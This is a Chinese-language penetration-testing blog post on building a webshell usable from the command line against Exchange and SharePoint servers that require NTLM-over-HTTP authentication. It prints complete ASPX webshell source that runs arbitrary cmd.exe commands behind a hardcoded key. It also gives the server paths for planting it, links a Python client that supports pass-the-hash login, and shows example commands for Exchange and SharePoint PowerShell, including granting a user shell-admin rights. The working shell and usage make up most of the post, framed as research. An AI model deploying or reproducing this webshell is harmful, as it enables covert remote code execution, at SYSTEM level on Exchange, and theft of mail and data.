渗透基础——支持 NTLM Over HTTP 协议的 Webshell 实现

发布于 2024-10-30 14:47:49 字数 6350 浏览 3 评论 0

0x00 前言

在某些环境下,访问 Web 服务器的资源需要通过 NTLM Over HTTP 协议进行 NTLM 认证,而我们在这样的 Web 服务器使用 Webshell 时,不仅需要考虑 NTLM 认证的实现,还需要满足能够在命令行下使用。

本文仅在技术研究的角度介绍一种实现方法,开源代码,分享脚本开发细节。

0x01 简介

本文将要介绍以下内容:

  • 设计思路
  • 脚本开发细节
  • 开源代码

0x02 设计思路

通过 NTLM Over HTTP 协议进行 NTLM 认证的 Web 服务器有很多,这里分别以 Exchange 和 SharePoint 为例

(1)Exchange 测试环境

文件保存的绝对路径:

C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Autodiscover\test.aspx

对应的 URL 为:

https://URL/Autodiscover/test.aspx

(2)SharePoint 测试环境

文件保存的绝对路径:

C:\Program Files\Common Files\microsoft shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\test.aspx

对应的 URL 为:

http://URL/_layouts/15/test.aspx

访问 test.aspx 时均需要通过 NTLM Over HTTP 协议进行 NTLM 认证

这里以一个支持 cmd 命令的 webshell 为例进行测试,webshell 的地址为:https://github.com/tennc/webshell/blob/master/aspx/asp.net-backdoors/cmdexec.aspx

如下图

Alt text

这个 webshell 需要通过浏览器进行操作,首先完成 NTLM 认证,接着填入正确的 Auth Key 和要执行的 cmd 命令

我们的目标是满足能够在命令行下使用,可以以此为模板进行修改,设计思路如下:

(1)execCmd.aspx

接收 Form 表单请求作为参数,对 Auth Key 进行验证

如果验证失败,返回空结果

如果验证成功,执行传入的 cmd 命令并返回执行结果

(2)aspxCmdNTLM.py

命令行脚本

首先通过 NTLM Over HTTP 协议完成 NTLM 认证,这里需要支持明文和用户口令 hash 两种登录方式

通过 Form 表单请求发送 Auth Key 和要执行的 cmd 命令,接收 cmd 命令的执行结果

execCmd.aspx 和 aspxCmdNTLM.py 的通信内容作 Base64 编码,在程序实现上需要考虑 Base64 编码和解码

0x03 脚本开发细节

1.execCmd.aspx

使用 Page_Load 方法接收 Form 表单请求,其中 data1 用作 Auth Key,data2 用作 cmd 命令

Base64 编码的实现:

byte[] enbytes = Encoding.Default.GetBytes(string1);
string string2 = Convert.ToBase64String(enbytes);

Base64 解码的实现:

byte[] outbyte = Convert.FromBase64String(string1);
string string2 = Encoding.Default.GetString(outbyte);

完整的实现代码如下:

<%@ Page Language="C#"%>
<%@ Import namespace="System.Diagnostics"%>
<%@ Import Namespace="System.IO"%>

<script runat="server">
    private const string AUTHKEY = "UGFzc3dvcmQxMjM0NTY3ODk";
    protected void Page_Load(object sender, EventArgs e)
    {    
        string data1 = Request.Form["data1"];
        if (data1 != AUTHKEY)
        {          
            return;
        }
        string data2 = Request.Form["data2"];
        byte[] outbyte = Convert.FromBase64String(data2);
        string payload = Encoding.Default.GetString(outbyte);              
        string outstr1 = ExecuteCommand(payload);
        byte[] enbytes = Encoding.Default.GetBytes(outstr1);
        string outstr2 = Convert.ToBase64String(enbytes);
        Response.Write(outstr2);
    }

    private string ExecuteCommand(string command)
    {
        try
        {
            ProcessStartInfo processStartInfo = new ProcessStartInfo();
            processStartInfo.FileName = "cmd.exe";
            processStartInfo.Arguments = "/c " + command;
            processStartInfo.RedirectStandardOutput = true;
            processStartInfo.UseShellExecute = false;
            Process process = Process.Start(processStartInfo);
            using (StreamReader streamReader = process.StandardOutput)
            {
                string ret = streamReader.ReadToEnd();
                return ret;
            }
        }
        catch (Exception ex)
        {
            return ex.ToString();
        }
    }
</script>

2.aspxCmdNTLM.py

NTLM 认证的实现可以参考之前的代码:

https://github.com/3gstudent/Homework-of-Python/blob/master/checkEWS.py

支持明文和用户口令 hash 两种登录方式

Form 表单请求通过 POST 方式发送

Base64 编码和解码需要注意字符串的格式

完整的代码已上传至 github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/aspxCmdNTLM.py

execCmd.aspx 需要保存在 Web 服务器

aspxCmdNTLM.py 在命令行下执行,连接 execCmd.aspx 执行 cmd 命令并获得返回结果

aspxCmdNTLM.py 支持明文和用户口令 hash 两种登录方式

对于 Exchange 服务器,对应的 Webshell 权限为 System

如下图

Alt text

可以直接调用 Exchange PowerShell

命令示例:

python aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/Autodiscover/execCmd.aspx plaintext test.com user1 Password123! "powershell -c \"Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;;Get-MailboxServer\""

结果如下图

Alt text

对于 SharePoint 服务器,对应的 Webshell 权限为用户权限

如下图

Alt text

可以尝试调用 SharePointServer PowerShell

命令示例:

python aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/Autodiscover/execCmd.aspx plaintext test.com user1 Password123! "powershell -c \"Add-PSSnapin Microsoft.SharePoint.PowerShell;Get-SPSite\""

这里需要注意,用户需要配置为能够访问数据库才能够执行 SharePointServer PowerShell 命令

查看可访问数据库的用户列表对应的 Powershell 命令如下:

Add-PSSnapin Microsoft.SharePoint.PowerShell;
Get-SPShellAdmin

添加指定用户访问数据库权限对应的 Powershell 命令如下:

Add-PSSnapin Microsoft.SharePoint.PowerShell;
Add-SPShellAdmin Domain\User1

删除指定用户访问数据库权限对应的 Powershell 命令如下:

Add-PSSnapin Microsoft.SharePoint.PowerShell;
Remove-SPShellAdmin Domain\User1 -Confirm:$false

正常的结果如下图

Alt text

0x04 小结

本文以 Exchange 和 SharePoint 为例,介绍了支持 NTLM Over HTTP 协议的 Webshell 实现思路,开源代码,分享脚本开发细节。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

清欢

暂无简介

0 文章
0 评论
467 人气
更多

推荐作者

xu362930323

文章 0 评论 0

缱倦旧时光

文章 0 评论 0

qq_eXruk9

文章 0 评论 0

遂心如意

文章 0 评论 0

guojiayue1

文章 0 评论 0

愿与i

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文